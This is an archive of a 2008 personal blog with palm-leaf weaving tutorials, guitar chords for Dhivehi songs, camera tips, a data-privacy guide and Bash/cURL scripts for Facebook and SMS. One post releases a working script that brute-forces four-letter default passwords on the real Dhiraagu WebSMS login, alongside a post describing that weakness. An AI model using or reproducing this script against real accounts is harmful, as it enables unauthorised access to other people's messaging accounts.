Sep 29, 2008

RUKUFAN ORIGAMI: FISH 2

Ah! the saga continues. It's taken me a while to figure out how to make another one of these things, but then again I haven't really had much time of late to be...fiddling. (hah! liar)

Anyway here is an alternate version of a fish made out of Rukufan/Palm fronds. I believe that this version is the more historically common variant in the Maldives. So let's call it the "Maldivian version" or something hehe.

Click on the images for larger views. It might take a little while to load all the images, so please be patient.

let us proceed!


1) you will need one palm leaf, with the midrib removed, or two pieces of ribbon if you like that.



2) Tie a knot in the middle, just a simple knot. Notice how the shiny surfaces face away from each other. This is important if you want consistency in the final output. Tighten the knot.





3) Notice that on each side, the knot consists of a section of strip that goes all the way across (let's call it section A), and one that gets tucked under section A (call it section B). We will be working with the loose hanging strips coming from under section B. Take the upper strip, and fold it OVER Section A...



4) ...and tuck it under there. Tighten it up!




5) flip the fish over, and repeats steps 3 and 4 for this side. You should now have something that looks like this...



6) Good. We're almost there. We're still working with the same two ends we were just playing with. Take one, and twist that over to the other side from where it is, and tuck it under the crossing strip there. Repeat for the other one on the other side.



and Voila!




All you gotta do now is trim up those fins and you got yourself a fish! Here is what a finished fish may look like. Ideally this is done with a younger leaf. Notice Venus the guitar down there on the left, and the the DIY guitar stand she's sitting on.




Don't forget to check out other projects in the RUKUFAN ORIGAMI series

Sep 28, 2008

Guitar Chords: Dhonkamana (Trio)

Up on request from a fellow fan. Here is... Dhonkamana by Trio. A nice, feel good love song - perfect for serenading, if you're into that sort of thing. The strumming pattern may sound hard but it's actually pretty easy. pluck the A string (open), tap down the C chord, pluck G-B, tap - and repeat, and so on. If you're going to strum the chords and not pick, it's better to use barre chords instead, and C on the 8th fret.




intro - C F G C F G
(strum the chords lightly)

C
dhon kamana feneythoa
C
rashutherey ulhefymey
F C
fennaaneybaa libeyneybaa
C
dhon kamana feneythoa
C
rashutherey ulhefymey
F C
fennaaneybaa libeyneybaa
G F
thee magey raanee ey
G F C
hih edhey malikaaey fennaanebaa
C
libeyneybaa


C
vilaathah nookuraashey
C F
udumathin fehi kuraashe namaves
C
mivaa loebbeh badhaleh nuvaaney
C
loabivey inthihaa
C F
loabivey haadhahaa nethumun
C
vedhaaney fanaa dhuiniyain vedhaaney
G F
thee magey raanee ey
G F C
hih edhey malikaaey fennaanebaa
C
libeyneybaa
C
libeynebaa


C
dhon kamana feneythoa
C
rashutherey ulhefymey
F C
fennaaneybaa libeyneybaa
C
dhon kamana feneythoa
C
rashutherey ulhefymey
F C
fennaaneybaa libeyneybaa
G F
thee magey raanee ey
G F C
hih edhey malikaaey fennaanebaa
C
libeyneybaa
C
libeyneybaa
C
libeyneybaa
C F
libeyneybaa

Changing Facebook status with Bash, cURL - UPDATE!

Here's a little upgrade to the Facebook script.

Changes from the old version
1. Added some error checking should now detect failed/successful logins, and update attempt.
2. writes cookies to /tmp/ instead of $HOME


Not much of a changelog I know, but I suppose this makes for pretty much all the updating that this script would require. Don't forget to check out how to run this on the iPhone, although it does seem quite unnecessary since the Facebook app is pretty good.


#!/bin/bash


email=YOUR-EMAIL
pass=YOUR-PASSWORD

stat=$1
cookie="/tmp/"$RANDOM"fupdate"$RANDOM"cookiefile"

if [ -z "${stat}" ]
then
echo -e "\n\E[01musage\E[0m: \n fupdate 'your new status message'\n"
echo -e "The status should not be empty\n"
exit 1
fi

echo -n "Trying to log in..."
pfID=`curl -L --silent -A "MOZILLA/5.0" -b ${cookie} -c ${cookie} -d "email=${email}" \
-d "pass=${pass}" -d "login=Log+In" http://m.facebook.com/login.php | \
sed -nr 's/.*post_form_id" value="(\w+)".*/\1/p'`


if [ -z ${pfID} ];then echo "FAILED (no pfID)";exit 1;else echo "SUCCESS!";fi


echo -n "Trying to update..."
return=`curl --silent -L -A "MOZILLA/5.0" -b ${cookie} -c ${cookie} \
-d "post_form_id=${pfID}" -d "status=${stat}" \
-d "update=Update" http://m.facebook.com/home.php | \
sed -nr 's/.*(Your status has been updated).*/\1/p'`


if [ -z "${return}" ];then echo "FAILED";exit 1;else echo "SUCCESS!";fi

if [ -e ${cookie} ]
then
rm ${cookie}
else
echo "no cookie file? something went wrong?"
exit 1
fi

Sep 24, 2008

Guitar Chords: Dhenneveemey Gislaa (Fa'thu)

I don't know who's song this is originally, but it's quite familiar. Either way I think Fa'thu did a great job with it. The toned down chords and everything along with that husky voice...purr!!!

It's not a hard song to figure out, but for those of you who are a little...tone challenged, here it is!




[CHORUS]
Am
Dhenneveemey gislaa roe roe faa.
G
aashigaa ey loabin annaashey.
Dm Am
vee loabin maruvaan hey?
Dm Am
vee loabin maruvaan hey?

Am
Dhenneveemey gislaa roe roe faa...

Am G
Bunebalaashey! mithuraa edhevey gothei,
Dm Am
beynumiyya, hithugaa vaa haa gothei.
G
loabing koh dheynamey!
Am
ufalun koh dheynamey!

[CHORUS]

Am
Dhenneveemey gislaa roe roe faa...

Am G
vaudhuveemey, umurah ekugaa ulhen
Dm Am
mee thedhei kan aharen dhakkaanamey.
G
mikamah ruhifaanu hey?
Am
noonee maruvaanamey!

[CHORUS]

Am
Dhenneveemey gislaa roe roe faa...

Sep 17, 2008

Guitar Chords: Vaaneyhe Dhuniyeygaa (Midh-hath)

This is one of those songs that get stuck in your head for life! I don't even know when I saw the guy performing it on Heyyambo but I do remember the song, and a beautiful song it is! He sang it with such passion!!! I've been trying to get my hands on this song for a while now but nobody carried it anymore... a tragedy if you ask me!

Just as my luck would have it, kuda-ibbe (that fuck!) decided to ... sing (if you can call it that) this song on "thi handhaanuga" (what's next? magey handhaanuga?). As bad as his ridiculous performance was, it had the upshot of providing me with the lyrics of the song. I only remembered bit's and pieces of it until now, and I'm really hoping that the guy didn't fuck with the lyrics as well. I am literally in PAIN after listening to that. If any of you have the original version, holler in the comments please??? pretty please??

So here it is! very simple to play, nice and humble - none of that remix crap. I only noted on the first two, because the progression then repeats. You'll figure it out.

Dedicated to... I'd rather not say :|


C                          Am
vaaneyhe dhiniyeygaa thiya fadha fari nala malei
G C
dheevaana kollee magey, thiya hinithun vumey
C Am
maazee vi loabeege rey rey, ehandhaan vumun
G C
beynun vanee miyadhuves, eufaaveri kamey


F C
maafah edhen mulhi kaunu heki koffaa mirey
F C
loabeega kurevunu haa kushah eki rey
Am F
heelaafa bunelaa loabi mavamey,
Am G C
umurah ekeegaa vaanamey, magey loabivaa.

vaaneyhe dhiniyeygaa thiya fadha fari nala malei
dheevaana kollee magey, thiya hinithun vumey
maazee vi loabeege rey rey, ehandhaan vumun
beynun vanee miyadhuves, eufaaveri kamey

Oagaa velaafa bosdhee hadhaathee hiy uthuri ara-ey
Shaahee pareezaadhei hen mihithugaa ranikan kuraa shey
hibakommadheefin mulhi hiy mi-jaanaa,
kulunaai loabaa, agalah thiee hama evvana ey.

vaaneyhe dhiniyeygaa thiya fadha fari nala malei
dheevaana kollee magey, thiya hinithun vumey
maazee vi loabeege rey rey, ehandhaan vumun
beynun vanee miyadhuves, eufaaveri kamey

... repeat the chorus a bit and start crying!

Running Bash scripts on the iPhone

It's always nice to be able to carry your work around with you. You gotta love some good command line action while walking down the street! In any case, if you find yourself needing to run some scripts on the iPhone or iPod touch, here's what to do!

1) Jailbreak your phone! you ain't getting anywhere without doing it anyway.
2) Make sure you have Cydia installed and then install the packages openSSH, MobileTerminal, cURL (if you want to use my WebSMS and facebook update scripts).
3) Save the script on your PC
4) load up your SSH client (commandline, nautilus or winSCP for windows guys..etc..)
5) Copy the file over to /usr/bin on the phone (or the home directory if you like)
6) chmod the file to 775 (or 755?)


and you're done!
I've been using my WebSMS and Facebook Update scripts on the phone for a while now. They help reduce the overhead of nevigating throught those stupid websites to get things done. now it's in the commandline, nice and easy. Enjoy

P.S I know it's not a very good guide. I got lazy so sue me! This officially concludes the transfer of everything I consider to be of...substance... over from the old blog. New stuff from here on end! HURRAYYY!!!

Sep 16, 2008

Update Facebook status through Bash, using cURL

anger management part 2 peeps!

A nice simple bash script to update the status on facebook from the command line. Pretty straight forward, using cURL here again. As usual, edit the email and passord. Script takes one argument, the status. There's no error-checking so there really isn't a way to know if it was successful or not. I'll add that in sometime later.

I love cURL!

edit: some installation instructions for the younger peeps
1) copy past it into a new file on the desktop say fbupdater
2) open terminal, type "sudo cp /Desktop/fbupdater /usr/local/bin/fbupdater"
3) type "chmod a+x /usr/local/bin/fbupdater"



and that should do it.


#!/bin/bash


email=YOUR-EMAIL
pass=YOUR-PASSWORD

stat=$1

cd $HOME

echo "logging in"

pfID=`curl -L --silent -A "MOZILLA/5.0" -b cookie -c cookie -d "email=${email}" \
-d "pass=${pass}" -d "login=Log+In" http://m.facebook.com/login.php | \
sed -nr 's/.*post_form_id" value="(\w+)".*/\1/p'`

echo "updating"
curl --silent -L -A "MOZILLA/5.0" -b cookie -c cookie -d "post_form_id=${pfID}" \
-d "status=${stat}" -d "update=Update" http://m.facebook.com/home.php > /dev/null

if [ -e cookie ]
then
rm cookie
else
echo "no cookie file? something went wrong?"
fi

Bash WebSMS script using cURL

This post is the combination of all of the WebSMS scripts that I have posted to this date. This script will enable you to send text messages to Dhiraagu mobiles numbers via their websms site. As of the latest iteration, the script takes two arguments, the number (or alias) and the message.

but before that some setup notes for the n00bs
1) Save the script on your desktop, name it FILE (whatever you like)
2) Open up a terminal:
3) sudo cp ~/Desktop/FILE /usr/local/bin/sms
4) sudo chmod a+x /usr/local/bin/sms


from then on you can simply run it by typing "sms [number|alias] message" on the terminal

#!/bin/bash

user=YOUR-USERNAME
pass=YOUR-PASSWORD
number=$1
msg=$2

case "${number}" in

#--BEGIN DIRECTORY SEGMENT--##

hotchick1) number=7811223;;
hotchick2) number=7620382;;
hotchick3) number=7923423;;

#--END OF DIRECTORY SEGMENT--##

*)
if [ -z `echo ${number} | grep -E "^7[5-9][0-9]{5}$"` ]
then
echo "ERROR: Number not valid"
exit
fi
;;
esac


cd $HOME

echo -e "\nSending to ${number}\nMessage is `expr length "${msg}"` characters long"

if [ `expr length "${msg}"` -gt 140 ]
then
echo "Message will be truncated at ...${msg:130:10}"
fi

echo "Authenticating ... Getting cookie"
if [ -n "`curl -s --compressed -c cookiejar -d \"username=${user}&password=${pass}\" \
http://websms.dhimobile.com.mv/cgi-bin/websms/index.pl | \
sed -n \"s/.*\( 0 more \).*/\1/p\"`" ]
then
echo "ERROR: Daily quota reached"
exit
fi

echo "Attempting to send message... "
curl -s --compressed -b cookiejar -d "mobilenumber=${number}&message=${msg:0:140}" \
http://websms.dhimobile.com.mv/cgi-bin/websms/send_message.pl | \
sed -n 's/.*\([yY]ou .* Day\).*/\1/p'
echo -e "Done!\n"

rm cookiejar



for historical reasons, and because some people may prefer the older versions, they are included below.

#!/bin/bash

cd $HOME

user=$1
pass=$2
number=$3
msg=$4

echo -e "\nAuthenticating ... Getting cookie"
if [ -n "`curl -s --compressed -c cookiejar -d \"username=${user}&password=${pass}\" \
http://websms.dhimobile.com.mv/cgi-bin/websms/index.pl | \
sed -n \"s/.*\( 0 more \).*/\1/p\"`" ]
then
echo "Shit! You've hit that quota."
exit
fi

echo "Message is `expr length "${msg}"` characters long"

if [ `expr length "${msg}"` -gt 140 ]
then
echo "Message will be truncated"
fi

echo "Attempting to send message... "
curl -s --compressed -b cookiejar -d "mobilenumber=${number}&message=${msg:0:140}" \
http://websms.dhimobile.com.mv/cgi-bin/websms/send_message.pl | \
sed -n 's/.*\([yY]ou .* Day\).*/\1/p'
echo -e "Done!\n"

rm cookiejar


and of course the first ever version of it, unbloated simplicity in itself.

#!/bin/bash
#usage "./websms username password number message"

cd $HOME

curl --progress-bar -c cookiejar -d "username=${1}&password=${2}" \
http://websms.dhimobile.com.mv/cgi-bin/websms/index.pl | grep -i "day" | \
sed -e 's/<[^>]*>//g;s/^[ \t]*//'

curl --progress-bar -b cookiejar -d "mobilenumber=${3}&message=${4}" \
http://websms.dhimobile.com.mv/cgi-bin/websms/send_message.pl | grep -i "day" | \
sed -e 's/<[^>]*>//g;s/^[ \t]*//'

rm cookiejar

Guitar Chords: Gilan (Ali/Ibrahim rameez)



Before we begin let's make something absolutely clear. I am not an Ali/Ibrahim Rameez fan. I just happen to like this song. Anyway.. here it is :)

Dedicated to my friend Falibe (who IS a fan)


INTRO plucking C G/B C G/B ...

C G
Hithugaa Vaa Handhaaneh Fohevey Hey? Noonekey
C G Am
Ithubaaraa Huvaa Thah Nethuneemaa Gislanee


F G
Loabi Veemaa Vaudhu Veemey
C
Eyge Fahugaa Kehi Dhinee
F G
Beywafaa Vee, Haadha Dhera Ey
C
Neygi Huttaa Badhalu Vee



C G
Hithugaa Vaa Handhaaneh Fohevey Hey? Noonekey
C G Am
Ithubaaraa Huvaa Thah Nethuneemaa Gislanee


F G
Loabi Veemaa Vaudhu Veemey
C
Eyge Fahugaa Kehi Dhinee
F G
Beywafaa Vee, Haadha Dhera Ey
C F
Neygi Huttaa Badhalu Vee
G Am C G F
Heekuree Hey Dhaane Hen, Dhashuvaan
G C
Fasbaigaa Eligen Roanehey


(SOLO)

C G
Aniyaa Dhee Hedheemey Badhunaamey Adhuvanee
C G Am
Umurah Dhen Salaamey Rulhiveemaa Foohivee


F G
Loabi Veemaa Vaudhu Veemey
C
Eyge Fahugaa Kehi Dhinee
F G
Beywafaa Vee, Haadha Dhera Ey
C F
Neygi Huttaa Badhalu Vee


(SOME CHEESEY ENGLISH STUFF
YEAAA YOU TELL THAT BITCH!!)
.................... F


G Am C G F
Heekuree Hey Dhaane Hen, Dhashuvaan
G C Am
Fasbaigaa Eligen Roanehey
F G
Loabi Veemaa Vaudhu Veemey
C
Eyge Fahugaa Kehi Dhinee
F G
Beywafaa Vee, Haadha Dhera Ey
C
Neygi Huttaa Badhalu Vee


(WAIL THE CHORUS OVER A FEW TIMES)



Not the most perfect I know but it works. I think it's a G/B throughout the entire thing but the G works fine for me so I use it. Let me know if you have a different version in the comments. Thanks to lavafoshi for the lyrics.

HDR Imaging

If you're anything like me, and you enjoy a good sunset then you'll probably know what this is about. Have you ever wanted to capture all those colours on your digital? maybe you tried, but it always seems so so much blander than the real thing? Well that's because you can only get so many colors on there. HDR saves the day! it stands fo High Dynamic Range. Basically - more colors :) Here's a picture I took today, nothing fancy but gets the point across.



and the same done HDR



see the difference? I'm telling you it's the shit! Especially if you have one of those really cheap cameras..like me :( Basically what you do is take three shots (or more) with varying levels of exposure (one under, one over and one just right), and then combine them. It's quite easy in photoshop (since CS2, there's a "merge to HDR" option somewhere in there) Now you might want to consider upgrading your camera's firmware to CHDK, which will allow you, among other things to a) Shoot in RAW, and b) shoot with auto bracketing. Both these will help you immensly with the HDR business (specially shooting RAW) have a look into it. It's worth your while.

RUKUFAN ORIGAMI: Bird

I got to spend some quality time with my friend NISHAM today, and learned how to make that bird. So here is part..err..five.. of this ongoing series. Right then lets begin. You need two strips (basically one "fanvai" (leaf) with the eakle removed) The first step is to tie a basic knot towards one end of one of the strips. Which should give you this.


Notice how there's a bit left on the right (ooh oxymoron!). This will form the tail section so leave enough for it there, but not too much so that you'll run out of material later. Now you take the second strip and insert it into the knot like so.


Notice how the shiny side faces up? yea that's important if you want all shiny on the outside when you're done. Got it? now hold that intersection down and turn the thing around...


So far so good. Take the lose end of the second strip, and run it between the protruding tail section.


Note how the non-shiny side faces up. Alright now here's where it gets a whee bit tricky. observe the next picture carefully. We're still playing with the lose end of the second strip here.
See how it goes around, between the tail and into the knot. That end now needs to over OVER the loop formed by the second strip itself. Notice how I'm holding the thing? Holding it like this helps keep the strip from coming out of the tail section. Now pull the through that knot and over that loop like this.

Alright now grab the two lose ends that form the tail with one hand, and the other two with the other hand, and pull! carefully now.


Pull that nice and tight. You're almost done with the body section. Alright now after you've tightened that up you should have something like this.
You should have four loose ends, two on each side. Of those, on of them are going to be neatly tucked and the other is going to be on the outside like is shown in the picture above. What you need to do is make an incision on the cross strip to tuck that loose strand in.


Repeat that for the other side as well. Congratulations, you have now completed the body. You should have a nice even structure now, with the loose strips of one end being shorter (the tail, which is also complete) and the other much longer (for the head and wings.)

Now we go for the wings and head. On the head side, make a similar incision to the one you made to tuck in that loose end. Next, pull the strip through it (not completely), forming a loop.


Repeat for the other side as well,


That loop needs to be roughly the same size as the width of the strips (because you're going to pull them through it). Now for the wings, take one of the ends and pull it through that incision yet again, forming a second (larger) loop that will form the wings


Repeat this for the other side as well, which will leave you something like... this


Great now you've got wings. You're almost done now, just a few more loops. It's time to form that head! Take one of the ends, and insert it into the loop that is further away from it.


here's another perspective on that one..


Don't tighten that up just yet. You need to loop the other loose end OVER the one you just formed, and into it, then thread it through the small loop that's away from it...



Alright now you can tighten it. Slowly pull that through (grab the beak) to form...


see that? Yay you did it! All that's left to do now is cut those things up into any shape you like and you're done. Congratulations! You are now becoming more and more with nature.Here's the one I just made to take pictures for this tutorial.



No comments about my hand needing moisturizer please. I already know that :P
If you enjoyed that, make sure you check out the others in this series.

RUKUFAN ORIGAMI: Fish

Alright peeps here we go, by popular demand, this here is the nice illustrated guide to making a "fish" out of coconut palm fronds (SO THAT'S what they're called!!!). You could also just make it out of two strips of paper I suppose. I'm not feeling particularly vocal today, So I think I'll avoid the yapping and let the diagrams do the talking. There's a PDF version up for grabs down there. Click the image for a larger view.

You start off with two strips (remove the "iloshi" from one and you'll have two..get it?) and using that...



And tighten. Cut off the excess into whatever shape of fins you like. If you got it right, here's what the finished product looks like (more or less)



Neat huh? I'm particularly happy about how the diagrams came out. If you liked that please take some time to check out my previous posts, and don't forget to tell your friends.

DOWNLOAD PDF VERSION

Don't forget to check out the rest of the rukufan series.

RUKUFAN ORIGAMI: Mission statement of sorts

Well I'm positively delighted by the amount of positive responses I got from the last two posts. I would like to clarify one thing to you guys though, I am in no means an expert in the matter. I'm just learning this as I go, so please do bear with me. I've decided to push ahead with this as I've developed quite a fascination with this most extraordinary art-form.

Unfortunately though, I'm a few thousand miles away and without access to the local knowledge pool so what I can learn over here is pretty limited. I've been asking my friends if any of them know about the subject but alas, it seems the rest of my generation here is as oblivious as I am. I seem to have however, sparked their interest - as I hope I have done yours as well. It is my sincere hope that more people will be able to share their knowledge with us. Those of you who can, please take some time to learn at least some simple stuff, and if possible share it with us. I think it'd be a great way to spend time with your parents/grand parents.

On a more positive note, I've been told that there is one particular Maldivian here who is likely to know quite a bit about it, and I'm going to try and hunt him down. It seems he organized and weaved a "Bodumas" for a cultural festival here so there's definitely promise of getting some very exciting stuff out of him. The "Bodumas" is perhaps the pinnacle of the art-form and a symbol of our nationality.

I will post how to make that fish (which I THINK was taught to me by my farther) soon.

In other news, Elton John is still gay.

RUKUFAN ORIGAMI: bashi (ball?)

After having FINALLY learnt how to make one of those things last night, I spent some time this morning to draw up some diagrams on how to make it for those of you who haven't had the fortune of inheriting this particular piece of our heritage. A bashi is a woven cube from palm fronds that was often used as a ball. So here goes!

Basically you need to two leaves, long and healthy and without any insect holes (believe me when I raped the palm tree last night I got my fair share of "unsuitable" ones)

Next you'll need to cut it into nice long (anything longer than a foot works I guess) strip. Leave the rib (iloshi) intact when you do this. Ok so now you got two nice long strips of "fan" (kekek) to play with. Now you need to take out the iloshi while leaving a small bit of it - roughly the same as the width of a half leaf- (from the side where the iloshi is narrower) holding the two segments of the leaf together, so you should have something like this.



Got it? Great! now for the next step. Take one of these, and pull one of it's legs between those of the other one. Lay them on each other at right angles. Confused? Check the diagram :p


Alright now to get started with the weaving. It's easier if you have the "legs" facing away from you. I'll name each one (there are four right?) as a,b,c and d (starting from the left). Ok now you need to pull "a under b", and "d over c". Remember "a under b" and "d over c". Like so



notice how the "d" was on the underside and "a" on the top side before you began. Ok now after the "a under b" and "d over c" move, you cross a and d in a "a over d" move. It might be a little handful at first buy you'll get the hang of it. the "a over d" move is like so -


Are we having fun yet? The above move will leave you with something looking like this




NOW TIGHTEN!!! pull it hard you bitches!!! (whoa hey not so much!) alright now that completes one weave. It's going to try and bend (that's supposed to happn so let it happen) Congratulations! Now you'll once again have four legs facing away from you. Rename (a-d) from the left again, and start over from the "a under b" move, and then when you reach this point again, start over again..over...and over...and over.. and OOOOOVVEERRRRRRRRRR... until you're almost out of "leg", (or you the thing is as big as you want. You need four weaves minumum...I think. Let's play on the safe side and make it a five weave minimum) at which point it's now time for you to "tuck in".

You do this by pulling the legs under the weave. I couldn't draw this (bah!), so I took a picture and drew arrows on it ;)



Pull that through,TIGHTEN, repeat it for all the legs for a couple of times and cut off the rest. (It would probably we wise to leave your own legs intact)

Congratulations! You are now a proud Maldivian :)

Happy weaving. Post pictures if you make it. Now then, does anybody know how to make those pretty little bird things? Goddamnit I should've payed more attention as a kid huh? Maybe I would've learned something other than to make a "Gadi"!

Seriously though if any of you do know how to make one, do post. OR teach me how to make one so I'll post it :p

Sharing is caring people sharing is caring.

Now check out this fish I made. Ok so it's not the prettiest thing but hey I'm no "pro"

RUKUFAN ORIGAMI: the watch (gadi)

My grandma used to make these for us when we were kids. We drew little clock faces on them and wrecked all sorts of havoc around the neighborhood. Sadly though you almost never see coconut palms around male' (are there any left?) and people don't really do this kinda stuff for their kids anymore. Since I have a lot of time on my hands today I thought I'd waste some time and draw up some illustrations... perhaps make a few of you a little nostalgic.

So here goes -


Upgrade your Canon Camera with CHDK

There's a really good chance that most of you are already familiar with CHDK, but if you're not - you should definitely give it a shot.

CHDK is a firmware enhancement that operates on a number of Canon Cameras. CHDK gets loaded into your camera's memory upon bootup (either manually or automatically). It provides additional functionality beyond that currently provided by the native camera firmware.

Basically it takes your crappy camera and stuffs in a bagload of features that're usually found in much much more expensive ones (and some not in any!) Sounds good? I can assure you would be extremely stupid not to try it. It's amazing the things you can do with an old busted point and shoot with the enhanced features. (including and not limited to shutter speed control, custom ISO settings, ability to run scripts,games,your momma on your camera, flash sync, USB cable remote trigger, live histograms,grids, SHOOTING IN RAW.. and MANY many more)

The best part is it's free, and completely (unless you're really stupid) harmless. You'll love those long exposure shots especially if you're a star gazer like me. My friend Keyolhubey has posted a few time lapse video's he did with his Canon A530 using an intervalometer script.

head on over to CHDK and get started now. It's as easy as grabbing the proper firmware image and putting it on your camera's memory card. How can I tell?!

Q. How can I get the original firmware version number of my camera?

A. To get the version number, you need to:

  • create a file called ver.req in the root directory of your SD card. Be sure to save it as all files and not text. It might be necessary to create the file name explicitly in upper case. e.g. VER.REQ
  • IMPORTANT: Note that it is spelled ver.req, as in VERsion REQuest, that Q is NOT a G, Type it correctly!!!
  • switch on the camera in playback mode and wait for the main screen (don't switch on in rec mode and change to playback later)
  • press the
  • set+disp. buttons together (press set first, hold it down, then press disp.).

You will see a string like Firmware Ver GM1.00E. The 1.00E part is the firmware version.

ver.req is just an empty dummy file.

Bash script: Crack Dhiraagu WebSMS passwords

some time ago I posted an article about how ridiculously insecure the webSMS site was, and how it was relatively simple it was for somebody to write up a bash script to possibly crack the default passwords.

For lack of something better to post about, I'm releasing the 5-minute bash script that I wrote as a proof-of-concept (for myself mostly). The following code is released on a ZERO LIABILITY basis. Which means, I am in no way responsible for your actions. It's proof-of-concept code and is NOT intended to be used. Educational purposes only. I will not be held responsible for any claims or charges of damages, negligence, cyber-crime etc and YOU automatically agree to this if you continue reading beyond this point. As such, I will not be giving you instructions or assistance regarding it. Thank you for your co-operation :)

EDIT: It seems some people didn't get the message when I said I won't provide any support for this. Let me clarify, DO NOT ASK ME HOW TO USE IT!

#!/bin/bash

cd $HOME/Desktop
mxjobs=15
cont=0

if [ -z ${2} ]
then
cont=1
else
cont=0
fi

echo "checking if username exists"

if [ -n "`curl -s --compressed -d \"username=${1}&password=wroXngo123!@)\" \
http://websms.dhimobile.com.mv/cgi-bin/websms/index.pl | \
grep \"password is incorrect\"`" ]
then
echo "User exists. Let's see what happens."
else
echo "That username does not exist."
exit
fi

for a in {A..Z};do for b in {A..Z};do for c in {A..Z};do for d in {A..Z}
do
f="${a}${b}${c}${d}"

if [ $cont -lt 1 ]
then
echo -en "skipping ${a}${b}${c}${d}\r"

if [ "${f}" = "${2}" ]
then
echo
echo "MATCH"
cont=1
fi
continue
fi

ok=0
while [ $ok -lt 1 ]
do
if [ `ps -A | grep curl | wc -l` -lt $mxjobs ]
then
ok=1
fi
done

echo -en "Testing ${f}\r"

if [ -n "`curl -s --compressed -d \"username=${1}&password=${f}\" \
http://websms.dhimobile.com.mv/cgi-bin/websms/index.pl | grep Dear`" ];then \
echo "Found ${1},${f}" | tee -a foundpasses.txt;killall curl;kill ${$};fi&

done;done;done;done

echo "I guess we didn't find it then"

Nothing Else Matters: Cover by KudaNai



Let me just start off by saying that there is no video?

This would be one of those "I can't believe I'm actually doing this" kind of things but I was bored and... what the heck.

This was recorded some time around 2006 I believe. I can remember doing it using an old busted microphone that i got for like 30rf or something, sitting by the computer one night, trying to figure out Sonic Foundry's Acid Pro (now Sony's Acid Pro.) It took a couple of tries (my farther kept barging in and spoiling the takes) to get it as it is. Not that it's much anyway.

Bess is my guitar by the way. I've since bought another one (named Venus because it's much much prettier) and I don't really play with Bess (left her back in Male' under the care of "bro") That's a picture of him playing with it, courtesy of andhu

on with the music :)

DOWNLOAD
or LISTEN: 

Secure your homemade porn


So recently I had the misfortune of overhearing a conversation whereby an acquaintance of mine (she lives in my neighborhood, pretty girl really) tell whoever it was about how some... "sensitive" photographs of herself got "leaked" on the internet. Now we all know this kinda thing has been going on for ages and ages but the tragedy is that apparently "people" still don't take adequate measures to protect themselves.

Now I'm not saying there's anything wrong with photographing, or even videoing yourself and/or others - with their consent of course - and in face, it would pure hypocrisy for me to tell you not to do it. Heck I've been doing it for so long it's almost like a hobby now, but I've never had to face said situation because I've always been careful about where and how I kept my data (as in not just "sensitive" photographs but sensitive stuff in general).

There are a few simple rules to follow if you don't want to get caught/exposed


1. Encrypt everything

If it's out in the open it's practically fair game and sometimes hiding something isn't enough! You gotta put a lock on that box if you know what I mean. I know lots of people who'd think that simply hiding the folders in some nook is enough but it's not. Encryption is the key people. Password protected Zip/Rar/ACE (whatever) files are NOT repeat NOT an option! (second favourite option for the less enlightened). The reason why it's not a good idea is because when you use a zip file, most often (there are exceptions I believe) temporary data is written to disk and THAT puts you at risk because that data can be recovered quite easily. Besides that a LOT of tools exist to bruteforce (crack the password of) these archives.

I recommend using an on-the-fly-encryption program of good reputation. I've used and trused Truecrypt for ages and before that I used to rely on something called Cryptainer (there is a free version availible). These have the advantages of allowing you to work almost directly off the encrypted data and not leaving traces on the host computer, and providing strong encryption. In addition to that there are availible to you more options for authentication than by simply putting a password on it. more on that later -


2. Strong passwords

Any lock is only as good as it's key mate - if a pin tumbler had just one pin an infant with a toy could probably pick it! (err..never mind if you didn't understand that bit) All I'm saying is that if your password is something like "fuckyou","iloveyou","iloveyoutoo" or "123456789" (which believe me are ridiculously common based on a bunch of passwords I managed to get my hands on from a forum db dump a year or two ago), then you might as well forgo the whole encryption deal so - long (at least 14 characters), random (avoid dictionary words), include numbers, punctuations and special characters.

TrueCrypt (and others) offer something called a keyfile, which is an ordinary file that you will need to open a "vault". The idea is that nobody knows which file you need except you.. so it's basically a second password. In the past I've used this method as a sort of multi-party authentication thing... more on that later!


2.1 Your computer login password doesn't protect you

All it takes for somebody to grab all your files is to pop in a CD into your drive, boot up a portable system and just sweep it all up into a portable hard disk or something. Disk encryption is available in most modern operating systems. You might want to look into that.


3. Card to vault and never out!

That was pretty self explanatory wasn't it? If you're using a digital camera copy directly to the encrypted vault and don't take it out of it. If you want to Photoshop and stuff, you can do it from within the vault itself... but if you absolutely must take it out into the open, read about "shredding" below.


4. Don't delete - Shred!

You may think you're safe once you've clicked that delete button but you're wrong. Deleting doesn't remove the actual data (most of the time...always exceptions), but just the reference to it. So the computer can't find it - but the actual stuff is still there on disk and can be recovered using special software. This is why those temporary files are so dangerous! To securely remove anything you gotta overwrite that data with something else. Eraser is a good program that can be used just for that! So if you ever want to delete something permanently... use a good secure wipe tool (Eraser on windows is recommended, for linux there's the built in shred command..good ol' linux!!!) wipe it good people..hehe.. don't forget to wipe the memory cards too, and flash drives you've used to carry it (only when you need to though...)


5. Never ever lend out a camera or flash drive to a friend without wiping it first...never...EVER!!!

'Cos this is probably where most of the stuff gets leaked anyway. As stated above, it's easy as zap to recover deleted files so - you know what that means. You can trust anyone..but not the devil inside em as that guy.. (what's his name?) said in that (what's that movie?) movie! This goes to memory cards on cellphones as well. Five minutes is all it takes and all your kinky habits are for the world to know :| a good recovery prog you say? umm..try Recuva (it's free) and Photorec/Testdisk on linux. (even free-er).


6. Trust??

so your ex-boyfriend did it eh? shouldn't have trusted him in the first place eh? hehe... well shit happens sucks to you! Just kidding. Prevention before cure that's what they say. Multi-party authentication! like needing two keys to open a door - you could, say, make a truecrypt volume with a bunch of keyfiles needed - give some to the guy keep some for yourself so that the vault can only be opened when you're both present! Of course you can explore the "Secret Sharing" (oh yea! there is a use for it) option I was talking about before... TrueCrypt's dev docs have mentioned supporting hardware tokens (eg.flash drives) and stuff so you should see a lot of improvement in this area sometime in the near future.

oh and one more thing... those computer repair guys? Megachip? Focus? I wouldn't trust them if I were you. Trust me you wouldn't trust them. oh and CELLPHONES GET STOLEN!!! do keep that in mind.

well there you have it... there are probably more comprehensive umm.. paranoia guides out there than this, but I just wanted to rant about it. I hope I didn't bore you or anything... much :) I love you all mwah mwah

WebSMS password security

Boredom can breed a lot of bullshit where I'm from, and this just happens to be one of those thing. A couple of days ago I was bored out of my skull and thought I'd have a look at the security on everybody's favorite website. Yes that's right. Dhiraagu's WebSMS!!!

Long story short There are a lot of stupid design flaws for a company of Dhiraagu's standing.
Let's go over what we know then shall we?

1) The sign up process is fairly simple and straight forward. You give
then a name (first and last), a username and your cell number.

2) They send you a confirmation sms with your password. These passwords are by default made up of FOUR upper case letters in various combinations. I cannot verify how random they are. we all know nobody really changes these. (which you should!)

